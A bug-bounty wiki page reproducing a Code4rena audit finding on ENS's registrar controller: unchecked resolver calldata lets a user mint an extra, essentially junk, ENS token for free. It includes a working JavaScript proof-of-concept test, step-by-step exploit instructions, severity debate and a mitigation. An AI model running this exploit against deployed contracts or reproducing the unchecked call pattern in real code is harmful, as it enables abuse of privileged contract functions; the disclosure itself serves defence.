Skip to content
Access control Audit finding Advanced

Users can create extra ENS records at no cost

The ENS registrar controller allowed users to pass arbitrary calldata to a resolver during registration, which could be abused to call privileged functions on other ENS contracts. An attacker could mint an extra ENS entry for free, though the resulting name is essentially junk.

wastewa Follow

Originally disclosed on Code4rena

Submitted by wastewa, also found by bin2chen, Limbooo, PwnedNoMore, and ronnyx2017

ETHRegistrarController.sol#L249-L268 ETHRegistrarController.sol#L125 BaseRegistrarImplementation.sol#L106

Users using the register function in ETHRegistrarController.sol, can create an additional bogus ENS entry (Keep the ERC721 and all the glory for as long as they want) for free by exploiting the functionCall in the _setRecords function. The only check there (in the setRecord function) is that the nodehash matches the originally registered ENS entry, this is extremely dangerous because the rest of the functionCall is not checked and the controller has very elevated privileges in ENS ecosystem (and probably beyond).

The single exploit I am showing is already very bad, but I expect there will be more if this is left in. An example of a potential hack is that some of the functions in other ENS contracts (which give the RegistrarController elevated privilege) have dynamic types as the first variables—if users can generate a hash that is a low enough number, they will be able to unlock more exploits in the ENS ecosystem because of how dynamic types are abi encoded. Other developers will probably also trust the ETHRegistrarController.sol, so other unknown dangers may come down the road.

The exploit I made (full code in PoC) can mint another ENS entry and keep it for as long as it wants, without paying more—will show code below.

Proof of Concept

Put this code in the TestEthRegistrarController.js test suite to run. I just appended this to tests at the bottom of file.

I called the BaseRegistrarImplementation.register function with the privileges of ETHRegistrarController by passing the base registrar’s address as the resolver param in the ETHRegistrarController.register function call. I was able to set a custom duration at no additional cost.

The final checks of the PoC show that we own two new ENS entries from a single ETHRegistrarController.register call. The labelhash of the new bogus ENS entry is the nodehash of the first registered ENS entry.

  it('Should allow us to make bogus erc721 token in ENS contract', async () => {
    const label = 'newconfigname'
    const name = `${label}.eth`
    const node = namehash.hash(name)
    const secondTokenDuration = 788400000 // keep bogus NFT for 25 years;

    var commitment = await controller.makeCommitment(
      label,
      registrantAccount,
      REGISTRATION_TIME,
      secret,
      baseRegistrar.address,
      [
        baseRegistrar.interface.encodeFunctionData('register(uint256,address,uint)', [
          node,
          registrantAccount,
          secondTokenDuration
        ]),
      ],
      false,
      0,
      0
    )
    var tx = await controller.commit(commitment)
    expect(await controller.commitments(commitment)).to.equal(
      (await web3.eth.getBlock(tx.blockNumber)).timestamp
    )

    await evm.advanceTime((await controller.minCommitmentAge()).toNumber())
    var balanceBefore = await web3.eth.getBalance(controller.address)

    let tx2 = await controller.register(
      label,
      registrantAccount,
      REGISTRATION_TIME,
      secret,
      baseRegistrar.address,
      [
        baseRegistrar.interface.encodeFunctionData('register(uint256,address,uint)', [
          node,
          registrantAccount,
          secondTokenDuration
        ]),
      ],
      false,
      0,
      0,
      { value: BUFFERED_REGISTRATION_COST }
    )

    expect(await nameWrapper.ownerOf(node)).to.equal(registrantAccount)
    expect(await ens.owner(namehash.hash(name))).to.equal(nameWrapper.address)

    expect(await baseRegistrar.ownerOf(node)).to.equal( // this checks that bogus NFT is owned by us
      registrantAccount
    )
    expect(await baseRegistrar.ownerOf(sha3(label))).to.equal(
      nameWrapper.address
    )
  })

Tools Used

chai tests in repo

Recommended Mitigation Steps

I recommend being stricter on the signatures of the user-provided resolver and the function that is being called (like safeTransfer calls in existing token contracts). An example of how to do this is by creating an interface that ENS can publish for users that want to compose their own resolvers and call that instead of a loose functionCall. Users will be free to handle data however they like, while restricting the space of things that can go wrong.

I will provide a loose example here:

interface IUserResolver {
    function registerRecords(bytes32 nodeId, bytes32 labelHash, bytes calldata extraData)

}

Arachnid (ENS) confirmed

jefflau (ENS) disagreed with severity and commented:

We left this as high severity, but this is a duplicate of this: #222 comment.

I believe this still a low severity, or at a minimum medium.

The only thing you can pass to register is the node, as the require inside setRecords checks the nodehash. However register in the baseRegistrar itself takes a label not the namehash of the name, so it will register a name with the hash of namehash(namehash('eth') + node), which will be a very useless name as the label will then be a 32 byte keccak hash so 0x123...abc.eth.

In the warden’s test he tests for the node of the account they originally wanted to buy, not the bogus nft:

expect(await baseRegistrar.ownerOf(node)).to.equal( // this checks that bogus NFT is owned by us
      registrantAccount
    )

To test for the bogus nft they would need to do:

const node2 = sha3(namehash('eth') + node)
expect(await baseRegistrar.ownerOf(node2)).to.equal( // this checks that bogus NFT is owned by us
      registrantAccount
    )

LSDan (judge) decreased severity to Medium and commented:

After a lot of consideration of this issue, I’m going to downgrade it to medium. There are two main considerations in doing this:

  1. The “free” name created is essentially junk.
  2. The additional potential exploits are unknown and kinda hand-wavy. If there are additional exploits in the future as a result of this they almost definitely rely on external factors that don’t exist today.

The original report as published on Code4rena, by wastewa. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The `_setRecords` function performed an unchecked external call (`functionCall`) to a user-supplied resolver address, allowing the caller to invoke arbitrary functions on other contracts with the registrar controller's privileges.

Impact

An attacker could mint an additional ENS entry for free, but the resulting name is a 32-byte hash label (e.g., 0x123...abc.eth) and is considered junk; the exploit is limited to this free junk name and does not directly compromise other assets.

What the attacker needed

Ability to call the register function with a custom resolver; pay the normal registration cost

The fix

The controller should restrict the resolver and function being called, for example by using a published interface for user-defined resolvers instead of a loose functionCall.

How it was found

  1. Create a commitment for a new name, passing the base registrar's address as the resolver and encoded calldata for the base registrar's register function.
  2. Submit the commitment transaction and wait for the minimum commitment age.
  3. Call the controller's register function with the same parameters and enough ETH to cover the registration cost.
  4. Observe that the base registrar's ownerOf returns the attacker's address for the node, indicating an extra token was minted.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you register a name, you can also set records (like your address) by telling the system which resolver contract to use and what data to pass. The system only checked that the name being updated matched the one you registered, but did not check what other actions the resolver call could perform. This let someone trick the system into calling a privileged function on another contract, creating an extra name for free.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.